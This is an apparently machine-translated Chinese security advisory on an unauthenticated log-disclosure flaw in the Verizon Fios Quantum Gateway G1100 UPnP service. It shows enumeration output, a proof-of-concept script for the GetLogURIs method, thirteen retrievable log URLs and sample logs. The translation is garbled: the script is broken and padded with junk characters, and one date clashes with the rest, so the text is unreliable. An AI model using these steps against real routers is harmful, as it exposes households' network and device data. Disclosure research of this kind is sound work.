VerizonFios量子网关G1100远程信息披露

测试NessusUPnP实施时发现Verizon信息披露漏洞fis量子网关G100.G1100有三个监听UPnP服务器一用户可禁用二用户不可本咨询与用户1901端口UPnP服务器相关无法禁止使用服务器优先引起我们的注意 因为它是API列表可见列表输出unpinfo.py

albinolobster@untu:~$pythonunp_info.py[+]发现UPnP位置[+]发现2位置:->http://192.168.1.1:1990/WFDADevice.xml->http://192.168.1.1:1901/root.xmlschemas-upnp-org设备类型:urn:schemas-upnp-org-> Model Name: FiOS-G1100  -> Model Number: FiOS-Gen4  -> Services:   => Service Type: urn:schemas-upnp-org:service:BasicManagement:2   => Control: /bms   => Events: /bmsEvent   => API: http://192.168.1.1:1901/xml/basic_management_service.xml    - Reboot    - BaselineReset    - GetDeviceStatus    - SetSequenceMode    - GetSequenceMode    - Ping    - GetPingResult    - NSLookup    - GetNSLookupResult    - Traceroute    - GetTracerouteResult    - GetBandwidthTestInfo    - BandwidthTest    - GetBandwidthTestResult    - InterfaceReset    - GetInterfaceResetResult    - GetTestIDs    - GetActiveTestIDs    - GetTestInfo    - CancelTest    - GetLogURIs    - SetLogInfo    - GetLogInfo    - GetACLData   => Service Type: urn:schemas-upnp-org:service:ConfigurationManagement:2   => Control: /cms   => Events: /cmsEvent   => API: http://192.168.1.1:1901/xml/configuration_management_service.xml    - GetSupportedDataModels    - GetSupportedParameters    - GetInstances    - GetValues    - GetSelectedValues    - SetValues    - GetAttributes    - GetConfigurationUpdate    - GetCurrentConfigurationVersion    - GetSupportedDataModelsUpdate    - GetSupportedParametersUpdate    - GetAttributeValuesUpdate    - GetAlarmsEnabled    - SetAlarmsEnabled    - GetACLData   => Service Type: urn:schemas-upnp-org:service:DeviceProtection:1   => Control: /dps   => Events: /dpsEvent   => API: http://192.168.1.1:1901/xml/device_protection_service.xml    - GetAssignedRoles    - GetRolesForAction    - GetACLData    - AddIdentityList    - RemoveIdentity

特别感兴趣的方法GetLoguris广告发布basic_management_service.xml.我们写作Get_log_uris.py来练习GetLogurisAPI

import xml.etree.EplementTree请求导入sysdefCreate_Payload
              ++
              
               ++
               
                ++
                
                 ++
                ++
               ++
              Lens.argv返回有效载荷
              
               sys.exitxixxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
              

执行中Get_log_uris.py长得像下方

albinolobster@ubuntu:~$ python get_log_uris.py http://192.168.1.1:1901/bms
              
              
               
                
                 
                  logs/dhcp_client,logs/system,logs/dhcp_server,logs/security,logs/firewall,logs/intrusion_detection,logs/parental_control,logs/upnp,logs/sdhl_alert,logs/sdhl_operation,logs/tr69,logs/firmware_update,logs/lpr
                 
                
               
              

服务器响应非认证请求并列URIs假设路由器使用地址192.168.1.1URIs地图定位如下:

1. http://192.168.1.1:1901/logs/dhcp_client
2. http://192.168.1.1:1901/logs/system
3. http://192.168.1.1:1901/logs/dhcp_server
4. http://192.168.1.1:1901/logs/security
5. http://192.168.1.1:1901/logs/firewall
6. http://192.168.1.1:1901/logs/intrusion_detection
7. http://192.168.1.1:1901/logs/parental_control
8. http://192.168.1.1:1901/logs/upnp
9. http://192.168.1.1:1901/logs/sdhl_alert
10. http://192.168.1.1:1901/logs/sdhl_operation
11. http://192.168.1.1:1901/logs/tr69
12. http://192.168.1.1:1901/logs/firmware_update
13. http://192.168.1.1:1901/logs/lpr

发现时所有日志都可被远程非认证用户检索(局域网和广域网)。部分信息泄漏包括DHCP信息(设计名、mac地址、局域网IP地址)、无线信息(SSID连接客户端),以及由于防火墙工作方式,局域网设备可能与之通话的地址列表有一些日志样本请注意我确实清理了一些数据

2019年11月20日br-lan:19:282017本地3.info<158>dhpd:DHCPACKEQEST

Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,ssid,TENABLE_SSID Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,channel,11 Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,bssid,ca:fe:c0:ff:ee:00 Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,x_d4a928_connectionmode,B_G_N Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,associateddevice,[{x_d4a928_cur-snr=17, associateddevicemacaddress=ca:fe:c0:ff:ee:01, x_d4a928_packetstransmitted=5792358, x_d4a928_packetsreceived=1236, x_d4a928_transceiversetting=NA x 3 : 2, x_d4a928_curtxmodulationrate=117 Mbps, x_d4a928_standard=N, currssi=-62, x_d4a928_currxmodulationrate=130 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=144.4 Mbps, associateddeviceauthenticationstate=true}!{x_d4a928_cur-snr=20, associateddevicemacaddress=ca:fe:c0:ff:ee:02, x_d4a928_packetstransmitted=6474801, x_d4a928_packetsreceived=71558, x_d4a928_transceiversetting=NA x 3 : 2, x_d4a928_curtxmodulationrate=24 Mbps, x_d4a928_standard=N, currssi=-58, x_d4a928_currxmodulationrate=144.4 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=144.4 Mbps, associateddeviceauthenticationstate=true}!{x_d4a928_cur-snr=0, associateddevicemacaddress=ca:fe:c0:ff:ee:03, x_d4a928_packetstransmitted=5869243, x_d4a928_packetsreceived=44419, x_d4a928_transceiversetting=NA x 3 : 1, x_d4a928_curtxmodulationrate=39 Mbps, x_d4a928_standard=N, currssi=-77, x_d4a928_currxmodulationrate=43.3 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=72.2 Mbps, associateddeviceauthenticationstate=true}!{x_d4a928_cur-snr=7, associateddevicemacaddress=ca:fe:c0:ff:ee:04, x_d4a928_packetstransmitted=5792979, x_d4a928_packetsreceived=27111, x_d4a928_transceiversetting=NA x 3 : 1, x_d4a928_curtxmodulationrate=19.5 Mbps, x_d4a928_standard=N, currssi=-71, x_d4a928_currxmodulationrate=26 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=72.2 Mbps, associateddeviceauthenticationstate=true}]

15:37582017LETS=0x00PREC=4109DFP=443DPT=6443SE2226784CK=34899999WINDEW=1175ACKPSG=0MARK=0

Verizon设置信息披露方式禁止WAN访问路由器所有者无需采取任何行动升级,因为路由器自动更新自身可惜这些日志仍为本地网络上任何人访问